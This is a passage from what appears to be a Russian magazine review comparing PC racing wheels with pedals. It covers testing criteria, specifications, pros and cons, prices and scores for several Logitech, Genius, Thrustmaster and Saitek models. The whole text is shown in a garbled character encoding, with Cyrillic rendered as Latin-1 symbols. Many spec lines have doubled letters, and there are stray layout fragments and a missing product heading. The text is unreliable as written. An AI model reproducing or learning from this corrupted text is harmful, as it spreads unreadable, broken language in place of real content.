ñòàâëÿþùèõ, êàæäûé èç êîòîðûõ îòâå÷àåò çà ñâîþ îñü. Îñü â íàøåì ñëó-
÷àå — íåçàâèñèìûé êàíàë ïåðåäà÷è èíôîðìàöèè. Ê ïðèìåðó, ïîâîðîò ðó-
ëåâîãî êîëåñà ïåðåäàåòñÿ ïî îäíîé îñè, à âñå îñòàëüíûå ïåäàëè è ðû÷àãè
ìîãóò èìåòü ðàçíûå êàíàëû, è ÷åì èõ áîëüøå, òåì âûøå ðåàëèñòè÷íîñòü.
Ïðåäñòàâü, ÷òî òâîé ðóëü ñ ïåäàëÿìè îáëàäàåò äâóìÿ îñÿìè: îäíà îòâåäå-
íà ïîä ðóëü, âòîðàÿ — ïåäàëÿì. Îäíîâðåìåííîå íàæàòèå äâóõ ïåäàëåé
ïðèâîäèò ê òîìó, ÷òî ëèáî ñîâñåì îòêëþ÷àåòñÿ ãàç è ðàáîòàåò òîðìîç, ëè-
áî äâå ïåäàëè íåéòðàëèçóþò çíà÷åíèå äðóã äðóãà. Èòàê, ÷åì áîëüøå îñåé,
òåì ëó÷øå. Â íàøåì òåñòå èìååòñÿ ìîäåëü ñ ïÿòüþ îñÿìè, ÷òî ïðåäóñìàò-
ðèâàåò íåçàâèñèìóþ ðàáîòó ïåäàëüþ ãàçà, òîðìîçà, ðó÷íîãî òîðìîçà è äà-
æå ñöåïëåíèÿ. Áîëüøèíñòâî ìîäåëåé, ïðåäñòàâëåííûõ íà ðûíêå, îáëàäà-
þò âñåãî äâóìÿ èëè òðåìÿ íåçàâèñèìûìè êàíàëàìè, ÷òî âïîëíå ïîäîéäåò
äëÿ àðêàäíûõ ãîíîê, à â íåêîòîðûõ ñëó÷àÿõ è äëÿ ðàëëèéíûõ.

Âíåäðåíèå íîâûõ òåõíîëîãèé ïîçâîëÿåò èçáàâèòüñÿ îò ðåîñòàòîâ, êî-
òîðûå ñî âðåìåíåì èçíàøèâàþòñÿ èç-çà ìåõàíè÷åñêîé ñâÿçè , è çàìåíèòü
ìåõàíèêó îïòè÷åñêèìè ñåíñîðàìè, ÷òîáû ïîâûñèòü ñðîê æèçíè äåâàéñà.

ìåòîäèêà òòåñòèðîâàíèÿ. Ðóëü — ýòî ìàíèïóëÿòîð, òû âûáèðàåøü åãî
îäèí ðàç è ïîëüçóåøüñÿ èì äîëãî. Îäíàêî òàêîé äåâàéñ ìîæåò äîïîëíÿòüñÿ
ïåäàëÿìè è ðû÷àãîì ïåðåêëþ÷åíèÿ ïåðåäà÷, à çíà÷èò, â òàêîì âèäå îí çàé-
ìåò íåìàëî ìåñòà. Äëÿ òîãî ÷òîáû äîñòàâèòü ïîêóïêó äîìîé, ìîæíî çàäåé-

ñòâîâàòü êóðüåðñêóþ ñëóæáó, âçÿòü ìàøèíó (åñëè íåò ñâîåé) èëè âîñïîëüçî-
âàòüñÿ îáùåñòâåííûì òðàíñïîðòîì. Åñëè òû ðåøèøü íåñòè äðàãîöåííóþ ïî-
êóïêó ñàì, òî íåìàëîâàæíûì áóäåò âåñ, ãàáàðèòû è íàëè÷èå ðó÷åê ó êîðîá-
êè — íà ýòîì ìû îñíîâàëè ïåðâûé ôàêòîð ôîðìèðîâàíèÿ îöåíêè.

Äàëåå ñëåäóåò îöåíèòü êîìïëåêòàöèþ è äëèíó âñåõ øíóðîâ. Ñîãëàñèñü,
ñëîæíî äîáèòüñÿ ðåàëèñòè÷íîñòè, åñëè øíóðû íàñòîëüêî êîðîòêèå, ÷òî áëîê
ïåäàëåé ñâèñàåò ñî ñòîëà, íå äîòÿãèâàÿñü äî ïîëà.

Ïðîñòîòà óñòàíîâêè è êàëèáðîâêè çàíÿëà òðåòüþ ïîçèöèþ â î÷åðåä-
íîñòè îöåíêè. Ñþäà æå âõîäèò óäîáñòâî óñòàíîâêè, íàäåæíîñòü ôèêñàöèè
âñåõ áëîêîâ è èíäèâèäóàëüíûå ïàðàìåòðû ðóëÿ, òàêèå êàê óãîë ïîâîðîòà è
êîëè÷åñòâî êíîïîê.

Âñå íàñòðîåíî è ïðîâåðåíî. Íàêîíåö-òî íà÷èíàåì èãðîâîé òåñò, â íåì
ïðèíèìàëè ó÷àñòèå äâà ÷åëîâåêà (÷òîáû âûñòàâëåííûå îöåíêè áûëè îáúåê-
òèâíûìè). Èñïîëüçîâàëèñü èãðû èç ñåðèè Need For Speed — äîâîëüíî ïîïó-
ëÿðíîãî è ðàñïðîñòðàíåííîãî ñèìóëÿòîðà. Âûáîð ïàë íà äâå âåðñèè (UN-
DERGROUND 2, MOST WANTED), òàê êàê ýòè èãðû ïîçâîëÿþò ÷àñòè÷íî è
èíîãäà äàæå ïîëíîñòüþ çàäåéñòâîâàòü îáå ïåäàëè è ïðåäóñìàòðèâàþò êàê
àêêóðàòíîå ïðîõîæäåíèå ïîâîðîòîâ áåç ðåçêîãî ïåðåêëàäûâàíèÿ ðóëÿ èç
îäíîãî ïîëîæåíèÿ â äðóãîå, òàê è ðåçêèå ðûâêè íà óçêèõ óëî÷êàõ. Ýòî íå
çíà÷èò, ÷òî ìû íå îöåíèâàëè ñêîðîñòü ïîâîðîòà — áûëè ó÷òåíû òî÷íîñòü è
ïëàâíîñòü õîäà.

Ïîñëå âñåõ òåñòîâ âûñòàâëÿëàñü çàâåðøàþùàÿ îöåíêà — çà ýðãîíî-
ìèêó. Äèàìåòð è èçìåíåíèå ïîëîæåíèÿ ðóëÿ, ìåòîä ôèêñàöèè, âåëè÷èíà õî-
äà ïåäàëåé è èõ æåñòêîñòü è, êîíå÷íî æå, ìàòåðèàë, èç êîòîðîãî èçãîòîâëå-
íû îðãàíû óïðàâëåíèÿ. Ýðãîíîìè÷íûå óãëóáëåíèÿ ïîä ïàëüöû, ïðîðåçèíåí-
íûå ïåäàëè — âñå ýòî, áåçóñëîâíî, çàñëóæèâàåò ïðèäèð÷èâîãî âíèìàíèÿ.
Áîëüøóþ ðîëü èãðàëî âîçäåéñòâèå îáðàòíîé ñâÿçè (Force Feedback) íà èã-
ðîêà. Îöåíèâàëàñü ðåàëèñòè÷íîñòü è ñèëà âîçäåéñòâèÿ.

ÌÀÒÅÐÈÀË: ïëàñòèê, ïïðîðåçèíåííûé ððóëü

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 180 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 2, ïïðèîðèòåò òòîðìîçà

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 4

ÁÎÍÓÑ: 2 ïïîäðóëåâûõ ïïåðåêëþ÷àòåëÿ 

ïëþñû. Ïðèâëåêàòåëüíûé äè-
çàéí, íåáîëüøèå ðàçìåðû è õîðî-
øåå èìÿ ïðèòÿãèâàþò âíèìàíèå. Äî-
ñòàåì äåâàéñ èç êîðîáêè è çàêðåï-
ëÿåì åãî — íåò íè÷åãî ïðîùå. Äâå
êðóïíûõ ðó÷êè íà âåðõíåé ïàíåëè,
íà êîòîðûõ óñòàíîâëåíû ïðèæèìíûå
ïëàñòèíû, èìåþò ðåçüáó. Äèàïàçîí
ðåãóëèðîâêè ïî òîëùèíå ñòîëåøíè-
öû î÷åíü âåëèê, è ïðîáëåì ñ óñòà-
íîâêîé íå âîçíèêíåò. Äîñòàòî÷íî óï-
ðóãèå ïåäàëè ñ áîëüøèì õîäîì ìî-
ãóò íåñêîëüêî óòîìèòü, åñëè áóäåøü
÷àñòî íàæèìàòü íà òîðìîç, íî ïîç-
âîëÿò ïëàâíî ðåãóëèðîâàòü ñêî-
ðîñòü. Óäà÷íî ïîäîáðàí ðàçìåð
ïëàñòèêîâûõ «ñòóïíåé»: ãàç íåñêîëü-
êî áîëüøå, è íàéòè åãî âñëåïóþ ïîä
ñòîëîì íå ñîñòàâèò òðóäà. Ðóëü âû-
ïîëíåí èç ïëàñòèêà ñ êðàñíûìè ðå-
çèíîâûìè âñòàâêàìè è èìååò íå-
áîëüøîé äèàìåòð, ÷òî óäîáíî (äàæå
ìàëåíüêèå äåòè ïîèãðàòü ñìîãóò).

×åòûðå ïðîãðàììèðóåìûå
êíîïêè ðàñïîëîæåíû äîâîëüíî óäîá-
íî, åñëè ïðåäïîëîæèì, ÷òî ïàëüöû

èãðîêà áóäóò íàõîäèòüñÿ òàì, ãäå èõ
ïðåäñòàâèëè ñåáå äèçàéíåðû. Ðàáî-
òà îáðàòíîé ñâÿçè íå âûçâàëà íàðå-
êàíèé. ×åòêîå îùóùåíèå ñìåíû äî-
ðîæíîãî ïîêðûòèÿ, ñòîëêíîâåíèé —
âñå ýòî îòðàæàåòñÿ íà ðóëå. Ñîïðî-
òèâëåíèå ïîâîðîòó íåñêîëüêî ìåíü-
øå, ÷åì ó Logitech MOMO Racing, íî
âïîëíå äîñòàòî÷íî, ÷òîáû îïðåäå-
ëèòü íåîáõîäèìûé ìîìåíòò ðàáîòû
ðóëåì ïðè ñíîñå îñè.

ìèíóñû. Íåñêîëüêî íàñòîðàæè-
âàåò ìàòåðèàë èçãîòîâëåíèÿ âèí-
òîâ — ïëàñòèê. Âïðî÷åì, ñëîìàòü çà-
æèìû óäàñòñÿ òîëüêî ïðè ãðóáîì îá-
ðàùåíèè. Äëèíà ïðîâîäà ïåäàëåé
íåâåëèêà, íî îíè ëåãêî äîòÿíóòñÿ
äî ïîëà è ïîçâîëÿò èãðîêó íåìíîãî
îòîäâèíóòü íîãè âïåðåä. Ñàìà ïà-
íåëü ñ ïåäàëÿìè ñòîèò íà ðåçèíîâûõ
íîæêàõ, íî íèêàê íå çàñòðàõîâàíà îò
ïðîñêàëüçûâàíèÿ íà êîâðå. Ýðãîíî-
ìè÷íàÿ ôîðìà ðóëÿ ïðåäïîëàãàåò
ðàñïîëîæåíèå ðóêè âäîëü áîëüøîé
ñïèöû, ÷òî îêàçàëîñü íå î÷åíü óäîá-
íî ïðè ÷àñòûõ ïîâîðîòàõ. Íåñêîëüêî
ðàçî÷àðîâàëè ïîäðóëåâûå ïåðåêëþ-
÷àòåëè: îíè äîâîëüíî ìàëåíüêèå è
ðàñïîëàãàþòñÿ íà íåêîòîðîì óäàëå-
íèè îò ñàìîãî êîëåñà íà øèðîêîé
ñïèöå. ×òîáû ïåðåêëþ÷èòü ñêîðîñòü,
ïðèäåòñÿ òÿíóòüñÿ.

Logitech Formula
Force GP

($80) 9 áàëëîâ

òåñòîâûé ññòåíä:
ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: Asus PP5ND2-SSLI DDeluxe

ÏÐÎÖÅÑÑÎÐ: Intel PPentium 44 EEE 33.73

ÏÀÌßÒÜ: 4õ512 ÌÌá CCorsair DDDR-22 33-22-22-88

ÊÓËÅÐ: Zalman CCNPS7700 CCu

ÆÅÑÒÊÈÉ ÄÈÑÊ: Western DDigital WWD200

ÁËÎÊ ÏÈÒÀÍÈß: 480 ÂÂò TThermaltake ++350 ÂÂò TThermaltake

Test_lab ââûðàæàåò ááëàãîäàðíîñòü ççà ïïðåäîñòàâëåííîå ííà òòåñòèðîâàíèå 
îáîðóäîâàíèå êêîìïàíèÿì:
«ÀËÈÎÍ» (òåë. (495) 727-18-18, www.alion.ru), «ÁÞÐÎÊÐÀÒ»
(òåë. (495) 745-55-11, www.buro.ru),
à òàêæå ðîññèéñêèì ïðåäñòàâèòåëüñòâàì êîìïàíèé Saitek è Logitech



Genius Twin 
Wheel 

($85) 7 áàëëîâ

ÌÀÒÅÐÈÀË: ïëàñòèê

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 180 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 2

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 8

ÁÎÍÓÑ: 2 ïïîäðóëåâûõ ààíàëîãîâûõ 
ïåðåêëþ÷àòåëÿ

ïëþñû. Óäà÷íàÿ êîìïîíîâêà
óçëîâ â êîðîáêå ñîêðàòèëà ãàáàðèò-
íûå ðàçìåðû è ïîâûñèëà óäîáñòâî
ïðè òðàíñïîðòèðîâêå äî èãðîâîãî
ìåñòà. Êîìïëåêòàöèÿ íåáîãàòàÿ, íî
ðóëü, ïåäàëüíûé óçåë, ïàðà ñòðóá-
öèí è äèñê ñ äðàéâåðàìè òû íàé-
äåøü. Ðóëåâîé áëîê óñòàíàâëèâàåò-
ñÿ íà ïðèñîñêàõ, íî æåëàòåëüíî çà-
êðåïèòü åãî ñòðóáöèíàìè, êîòîðûå
ãàðàíòèðóþò óñòîé÷èâîñòü ïðè àê-
òèâíîé ðàáîòå áàðàíêîé. Íà öåíò-
ðàëüíîé øèðîêîé ñïèöå ðàñïîëîæå-
íû øåñòü ïðîãðàììèðóåìûõ êíîïîê,
íî ôóíêöèþ ïåðåêëþ÷åíèÿ ïåðåäà÷
ëó÷øå ïîäâåñèòü íà ðóëåâûå êíîï-
êè. Ïðèÿòíî óäèâèëè ïîäðóëåâûå ïå-
ðåêëþ÷àòåëè-ëåïåñòêè, îíè äóáëèðó-
þò ïåäàëè ãàçà è òîðìîçà è ÿâëÿþò-
ñÿ àíàëîãîâûìè, òî åñòü ìîæíî, íå
ïîäêëþ÷àÿ ïåäàëüíûé óçåë, ïëàâíî
ðåãóëèðîâàòü òîðìîæåíèå è óñêîðå-
íèå òðàíñïîðòíîãî ñðåäñòâà. Ñàì
áëîê èìååò áîëüøóþ ïëîùàäêó äëÿ
íîã, à õîä ïåäàëåé ìîæíî íàçâàòü

ñðåäíèì. Áëàãîäàðÿ óäà÷íîé êîí-
ñòðóêöèè óçåë íå áóäåò ñêîëüçèòü ïî
âîðñèñòîé ïîâåðõíîñòè. Êàëèáðîâêà
óñòðîéñòâà çàíèìàåò ìåíüøå ìèíó-
òû: äîñòàòî÷íî âîéòè â íàñòðîéêè è
ïîðàáîòàòü ïåäàëÿìè, ïàðó ðàç ïî-
êðóòèòü ðóëü è ïîíàæèìàòü ïîäðóëå-
âûå ëåïåñòêè.

ìèíóñû. Ñåðåáðèñòûé ðóëü
ïîëíîñòüþ âûïîëíåí èç ïëàñòèêà,
÷òî çàñòàâëÿåò ñîìíåâàòüñÿ â åãî
èñêëþ÷èòåëüíîé äîëãîâå÷íîñòè. Àâ-
òîìàòè÷åñêîå öåíòðèðîâàíèå ðóëÿ
óñòàíîâëåíî ïî óìîë÷àíèþ, è èçìå-
íèòü ñèòóàöèþ âîçìîæíî òîëüêî õè-
ðóðãè÷åñêèì âìåøàòåëüñòâîì: íåîá-
õîäèìî ñíÿòü ïðóæèíû, ïîñëå ÷åãî
òû ñðàçó ëèøàåøüñÿ ãàðàíòèè è ïðî-
ïàäàåò ëåãêîå ñîïðîòèâëåíèå ïðè
âðàùåíèè. Óãîë ïîâîðîòà ðóëÿ îãðà-
íè÷åí 180 ãðàäóñàìè, ÷òî íå ïîêà-
æåòñÿ øèêàðíûì ëþáèòåëÿì àâòî.
Êàê òàêîâîé, îáðàòíîé ñâÿçè íåò.
Äâà âèáðîìîòîð÷èêà èìèòèðóþò
äðîæàíèå ðóëÿ ïðè ñìåíå äîðîæíî-
ãî ïîêðûòèÿ èëè ñòîëêíîâåíèÿõ, íî
àáñîëþòíî íå îêàçûâàþò ñîïðîòèâ-
ëåíèÿ. Ïåäàëè äîâîëüíî ÷óâñòâè-
òåëüíûå è èìåþò äîñòàòî÷íóþ äëèíó
õîäà, íî óïðóãîñòè íå õâàòàåò — ïî-
ëîæèòü íîãó è íàæèìàòü ïðè íåîáõî-
äèìîñòè íå ïîëó÷èòñÿ.
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Genius Speed 
Wheel 3 Vibration

($75) 7 áàëëîâ

ÌÀÒÅÐÈÀË: ïëàñòèê

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 180 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 2, ïïðèîðèòåò òòîðìîçà

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 10 

ÁÎÍÓÑ : êðåñò ((äæîéñòèê), 
ñîâìåñòèìîñòü ññ PPlayStation

ïëþñû. Íåáîëüøèå ðàçìåðû
êîðîáêè è ìàëûé âåñ äåâàéñà ãàðàí-
òèðóþò óäîáñòâî ïðè òðàíñïîðòèðîâ-
êå. Îòêðûâàåì êîðîáêó è âèäèì
ïëîòíî è íàäåæíî óïàêîâàííûå ðóëü
è ïåäàëè. Ãàäæåò íå òðåáóåò äîïîë-
íèòåëüíîãî ïèòàíèÿ è ÷åðïàåò ýíåð-
ãèþ îò ïîðòà USB. Êàáåëü ïîäêëþ-
÷åíèÿ èìååò íå îäèí êîííåêòîð, à
äâà: USB è ñòàíäàðòíûé ðàçúåì èã-
ðîâîé ïëàòôîðìû PlayStation. Òàê
÷òî îáëàäàòåëü îäíîãî ðóëÿ è äâóõ
èãðîâûõ óñòðîéñòâ (êîìïüþòåðà è
èãðîâîé ïðèñòàâêè) ñìîæåò óáèòü
äâóõ çàéöåâ. Óñòàíîâêà è êàëèáðîâ-
êà ðóëÿ çàéìåò âñåãî íåñêîëüêî ìè-
íóò: ïîñëå èíñòàëëÿöèè äðàéâåðîâ
íåîáõîäèìî çàéòè â íàñòðîéêè, íåñ-
êîëüêî ðàç ïîâåðíóòü ðóëü èç ñòîðî-
íû â ñòîðîíó è ïîî÷åðåäíî íàæè-
ìàòü ïåäàëè — è âîò óæå îòêàëèá-
ðîâàíî. Ðóëü êðåïèòñÿ ïðèñîñêàìè,
íî åñòü âîçìîæíîñòü óñèëèòü ôèêñà-
öèþ äâóìÿ ìåòàëëè÷åñêèìè ñòðóá-
öèíàìè, äëÿ êîòîðûõ èìåþòñÿ ñïå-
öèàëüíûå îòâåðñòèÿ â ïåðåäíåé ÷àñ-

òè ïàíåëè. Ðåãóëèðîâêà ïî òîëùèíå
ñòîëåøíèöû î÷åíü âåëèêà — ïîðÿä-
êà 10 ñì. Íà ðóëå ðàñïîëîæåíû îñ-
íîâíûå êíîïêè óïðàâëåíèÿ, êàê è íà
èãðîâîì äæîéñòèêå. Ýðãîíîìè÷íûå
óãëóáëåíèÿ äëÿ ïàëüöåâ äîâîëüíî
óäîáíû. Ïåäàëè ïîäêëþ÷àþòñÿ
äëèííûì êàáåëåì, ÷òî îáåñïå÷èâàåò
êîìôîðò ïðè èãðå äàæå ÷åëîâåêó
âûñîêîãî ðîñòà. Ðàçìåðû è ôîðìà
ïåäàëåé ãàçà è òîðìîçà îòëè÷àþòñÿ,
ïîýòîìó èãðîê ñìîæåò îïîçíàòü
íóæíóþ íå ãëÿäÿ ïîä ñòîë.

ìèíóñû. Äîïîëíèòåëüíîãî ïè-
òàíèÿ íå îáåñïå÷åíî, ïîýòîìó ìîòî-
ðû îáðàòíîé ñâÿçè èìåþò â ñâîåì
ðàñïîðÿæåíèè íåáîëüøîé òîê, âû-
äàâàåìûé ïîðòîì USB, è, ñîîòâåò-
ñòâåííî, íåáîëüøóþ ìîùíîñòü.
Force Feedback ðåàëèçîâàíà â âèäå
äâóõ âèáðîìîòîð÷èêàîâ, êîòîðûå
ðàñïîëîæåíû ñèììåòðè÷íî îò ðóëå-
âîé êîëîíêè è ïðîñòî âèáðèðóþò â
íóæíûå ìîìåíòû, íåíàìíîãî ïðè-
áàâëÿÿ ðåàëèñòè÷íîñòè. Ðóëü èìååò
àâòîöåíòðèðîâàíèå, ðåàëèçîâàííîå
äâóìÿ ïðóæèíàìè, — áàðàíêà âñåã-
äà áóäåò ñòðåìèòüñÿ âûðâàòüñÿ èç
ðóê è âåðíóòüñÿ â öåíòðàëüíîå ïî-
ëîæåíèå. Ïåäàëè äîâîëüíî ìÿãêèå
è íå âûäåðæàò âåñà ñòóïíè, òî åñòü
âî âðåìÿ èãðû ïðèäåòñÿ ïîñòîÿííî
äåðæàòü íîãè â íàïðÿæåíèè.

ÑÐÀÇÓ ÐÀÇÄÅËÈÌ ÓÑÒÐÎÉÑÒÂÀ ÍÀ ÄÂÀ ÊËÀÑÑÀ: 
Ñ ÏÎÄÄÅÐÆÊÎÉ ÎÁÐÀÒÍÎÉ ÑÂßÇÈ (FORCE FEEDBACK) 
È Ñ ÏÎÄÄÅÐÆÊÎÉ ÂÈÁÐÀÖÈÈ (VIBRATION)



ÌÀÒÅÐÈÀË: ïëàñòèê, ïïðîðåçèíåííûé ððóëü

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 240 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 2

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 6

ÁÎÍÓÑ: 2 ïïîäðóëåâûõ ïïåðåêëþ÷àòåëÿ, 
ñòóïåí÷àòàÿ ÊÊÏÏ

ïëþñû. Äî çàãðóçêè òðàññû ïî-
âåðíóòü áàðàíêó áóäåò íåïðîñòî. Íî
íå ñòîèò ïóãàòüñÿ, òàê êàê àâòîöåíò-
ðèðîâàíèå âêëþ÷åíî ïî óìîë÷àíèþ.
Çàãðóçèâ òðàññó, òû ñðàçó ïî÷óâñò-
âóåøü «ëåãêîñòü» â ðóêàõ. Ñîïðî-
òèâëåíèå èñ÷åçàåò, è îñòàåòñÿ òîëü-
êî æàòü ïåäàëü ãàçà. 

Ñòîèò îòìåòèòü, ÷òî õîä ïåäàëè ãàçà
áîëüøå, ÷åì ïåäàëè òîðìîçà, è ýòî
î÷åíü óäîáíî. Óïðóãîñòè âïîëíå äîñ-
òàòî÷íî, ÷òîáû íå íàïðÿãàòü íîãè è
îñòàâèòü ñòóïíè íà ïåäàëÿõ. Ðàáîòà
îáðàòíîé ñâÿçè èëè Force Feedback
íà÷èíàåò ïðîÿâëÿòüñÿ òîãäà, êîãäà
ìåíÿåòñÿ äîðîæíîå ïîêðûòèå — îò-
ëè÷íàÿ ïåðåäà÷à âèáðàöèè íà ðóëå-
âóþ êîëîíêó, äàæå ïðèòîì, ÷òî ðåãó-
ëèðîâêà ìîùíîñòè âèáðîäâèãàòåëåé
íå áûëà âûñòàâëåíà íà ìàêñèìóì.
Ñòîëêíîâåíèÿ, ðåçêîå âêëþ÷åíèå
ðó÷íèêà è äàæå þç îòëè÷íî îùóùà-
þòñÿ, áëàãîäàðÿ ÷åìó ìîæíî âîâðå-

ìÿ îòêîððåêòèðîâàòü òðàåêòîðèþ
äâèæåíèÿ. Ïðîðåçèíåííûé ðóëü ìî-
æåò îêàçàòüñÿ áîëüøèì äëÿ ðåáåí-
êà, íî äèàìåòð êîëåñà ïîäîáðàí
î÷åíü óäà÷íî, à óãîë âðàùåíèÿ 
â 240 ãðàäóñîâ ïîçâîëèò âåñòè ìà-
øèíó àêêóðàòíî. Íà ïðîãðàììèðóå-
ìûå øåñòü êíîïîê ìîæíî ïîâåñèòü
ðàçëè÷íûå ôóíêöèè, áëàãî îíè ðàñ-
ïîëîæåíû î÷åíü óäà÷íî. Ëþáèòåëÿì
ïåðåêëþ÷àòü ïåðåäà÷è âðó÷íóþ
Logitech ïðèãîòîâèëà ñþðïðèç: äâà
áîëüøèõ ïîäðóëåâûõ ëåïåñòêà è
äâóõïîçèöèîííàÿ ÊÏÏ, ïðè÷åì ðó÷êó
ìîæíî óñòàíîâèòü êàê ñïðàâà, òàê è

ñëåâà îò ðóëÿ. Ùåë÷êè ðó÷êè äîâîëü-
íî ãðîìêèå, è äàæå âî âðåìÿ æàðêîé
ãîíêè íå âîçíèêíåò ïðîáëåì ñ ïåðåê-
ëþ÷åíèåì ïåðåäà÷è.

ìèíóñû. Ðóëåâàÿ êîíñîëü äî-
âîëüíî ìàññèâíà è ôèêñèðóåòñÿ
òîëüêî îäíèì ïðèæèìíûì âèíòîì.
Ðîëü ñòðóáöèíû â òàêîì âàðèàíòå
äîñòàëàñü ñàìîìó êîðïóñó, òàê ÷òî,
åñëè íåìíîãî ïåðåóñåðäñòâóåøü ïðè
êðåïëåíèè, ñëîìàåøü ïëàñòèê. Îãîð-
÷èëî îòñóòñòâèå «òàðåëêè» íà ïðè-
æèìíîì âèíòå è áîëüøîé çàçîð, êî-
òîðûé îñòàåòñÿ â êðàéíåì çàêðó÷åí-
íîì ïîëîæåíèè.

89
|($125) 10 áàëëîâLogitech MOMO 

Racing



90
| Î

Ô
Ô

Ò
Î

Ï
È

Ê

ÌÀÒÅÐÈÀË: ïëàñòèê, ïïðîðåçèíåííûé ððóëü,
àëþìèíèåâûå ïïåäàëè

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 240 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 5

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 8 

ÁÎÍÓÑ: êðåñò ((äæîéñòèê), ïïîäðóëåâûå 
ïåðåêëþ÷àòåëè, ïïîäðóëåâûå ààíàëîãîâûå 
ðû÷àãè, ääâóõïîçèöèîííûé ððû÷àã ÊÊÏÏ, 
âîçìîæíîñòü ïïîäêëþ÷åíèÿ ääîïîëíèòåëüíîãî
ïåäàëüíîãî óóçëà 

ïëþñû. Íåáîëüøàÿ êîðîáêà
ñêðûâàåò â ñâîèõ íåäðàõ äîâîëüíî
êðóïíóþ ïàíåëü ðóëÿ, ïåäàëüíûé
óçåë ñ àëþìèíèåâûìè íàêëàäêàìè,
áëîê ïèòàíèÿ è äèñê. Êàëèáðîâêà
óñòðîéñòâà ïðîèçîéäåò àâòîìàòè-
÷åñêè ïîñëå ïîäêëþ÷åíèÿ ðóëÿ ê

êîìïüþòåðó: ðóëü íåñêîëüêî ðàç ïî-
âåðíåòñÿ ñàì, òàê ÷òî íå ñòîèò áåñ-
ïîêîèòüñÿ î òîì, ÷òî îí ðàáîòàåò
áåç òâîåãî âìåøàòåëüñòâà. Ïðîðå-
çèíåííûé ðóëü îòëè÷íî ëîæèòñÿ â
ðóêè, è âñå êíîïêè óïðàâëåíèÿ íà-
õîäÿòñÿ èìåííî òàì, ãäå èì ïîëî-
æåíî áûòü. Êîëè÷åñòâî àíàëîãîâûõ
îñåé â êîëè÷åñòâå ïÿòè øòóê ïîçâî-
ëèò íå òîëüêî ðåãóëèðîâàòü îòäåëü-
íî ãàç è òîðìîç, íî è ïëàâíî êîíò-
ðîëèðîâàòü ñöåïëåíèå è ðó÷íèê.
Ïîäðóëåâûå ïåðåêëþ÷àòåëè äåëÿò-
ñÿ íà äâå ãðóïïû: êíîïêè (äëÿ ïå-
ðåêëþ÷åíèÿ ñêîðîñòåé) è àíàëîãî-
âûå, íà êîòîðûå ìîæíî ïîâåñèòü
ëþáûå ôóíêöèè, ãäå íåîáõîäèìî

ïëàâíî èçìåíÿòü âåëè÷èíó íàãðóç-
êè. Ïðèñóòñòâóåò âîçìîæíîñòü
ïîäêëþ÷èòü âòîðîé áëîê ïåäàëåé,
÷òîáû îíè ðàáîòàëè â êà÷åñòâå ðó÷-
íîãî òîðìîçà è ñöåïëåíèÿ. Ïðÿìî
âî âðåìÿ ãîíêè ìîæíî ïåðåêëþ÷àòü
ðåæèìû ðàáîòû îñåé: 2, 3 èëè 5.
Äîñòàòî÷íî íàæàòü îáå ïåäàëè îä-
íîâðåìåííî è óòîïèòü êíîïêó ðåæè-
ìà (ñàìàÿ íèæíÿÿ íà ðóëå). Êîëè÷å-
ñòâî ðàáî÷èõ îñåé ìîæíî âûÿñíèòü
íå òîëüêî â íàñòðîéêàõ, íî è ïî
ñâå÷åíèþ ñâåòîäèîäà: òðè ðàçíûõ
öâåòà (çåëåíûé, îðàíæåâûé è êðàñ-
íûé) ñèãíàëèçèðóþò î ðàçëè÷íîì
êîëè÷åñòâå ïîäêëþ÷åííûõ îñåé.
Ðóëü îñíàùåí ñèñòåìîé àâòîöåíò-

ðèðîâàíèÿ, êîòîðóþ òàêæå ìîæíî
àêòèâèðîâàòü (ñâåòîäèîä ìèãàåò)
èëè äåçàêòèâèðîâàòü (ñâåòîäèîä ãî-
ðèò ïîñòîÿííî) âî âðåìÿ èãðû. Äîñ-
òàòî÷íî íàæàòü íà òó ñàìóþ êíîïêó
ñìåíû ðåæèìà. Ðàáîòà îáðàòíîé
ñâÿçè âûçûâàåò áóðíóþ ðàäîñòü ó
âñåõ èãðàâøèõ ñ ýòèì ðóëåì: âûñî-
êèé óðîâåíü ðåàëèñòè÷íîñòè, êîòî-
ðûé ìîæíî îùóòèòü ïðè ñêîëüæå-
íèè, çàíîñå èëè ñìåíå äîðîæíîãî
ïîêðûòèÿ, ñâèäåòåëüñòâóåò î âûñî-
êîì êà÷åñòâå äåâàéñà.

ìèíóñû. Äëèíû ïðîâîäà äîñòà-
òî÷íî äëÿ óäîáíîãî ðàçìåùåíèÿ ïå-
äàëüíîãî óçëà, íî èãðîê íå ñìîæåò
âûòÿíóòü íîãè ïîëíîñòüþ.

($135) 10 áàëëîâThrustmaster RGT 
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ÌÀÒÅÐÈÀË: ïëàñòèê, ïïðîðåçèíåííûé ððóëü

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 180 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 3

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 4

ÁÎÍÓÑ: ïîäðóëåâûå ïïåðåêëþ÷àòåëè

ïëþñû. Ðóëü îò Saitek îáðàùàåò
íà ñåáÿ âíèìàíèå íåîáû÷íîé ôîðìîé
ðóëåâîé êîëîíêè è ïåäàëåé: âìåñòî
ýìóëÿöèè àâòîìîáèëüíîãî òîðïåäî
ïðîèçâîäèòåëü ðåøèë èñïîëüçîâàòü
êðåïëåíèå ìåõàíèêè âäîëü îñè âàëà.
Ðóëåâàÿ êîëîíêà çàéìåò íåìíîãî ìåñ-
òà íà ñòîëå è ñìîæåò óñòîÿòü äàæå áåç
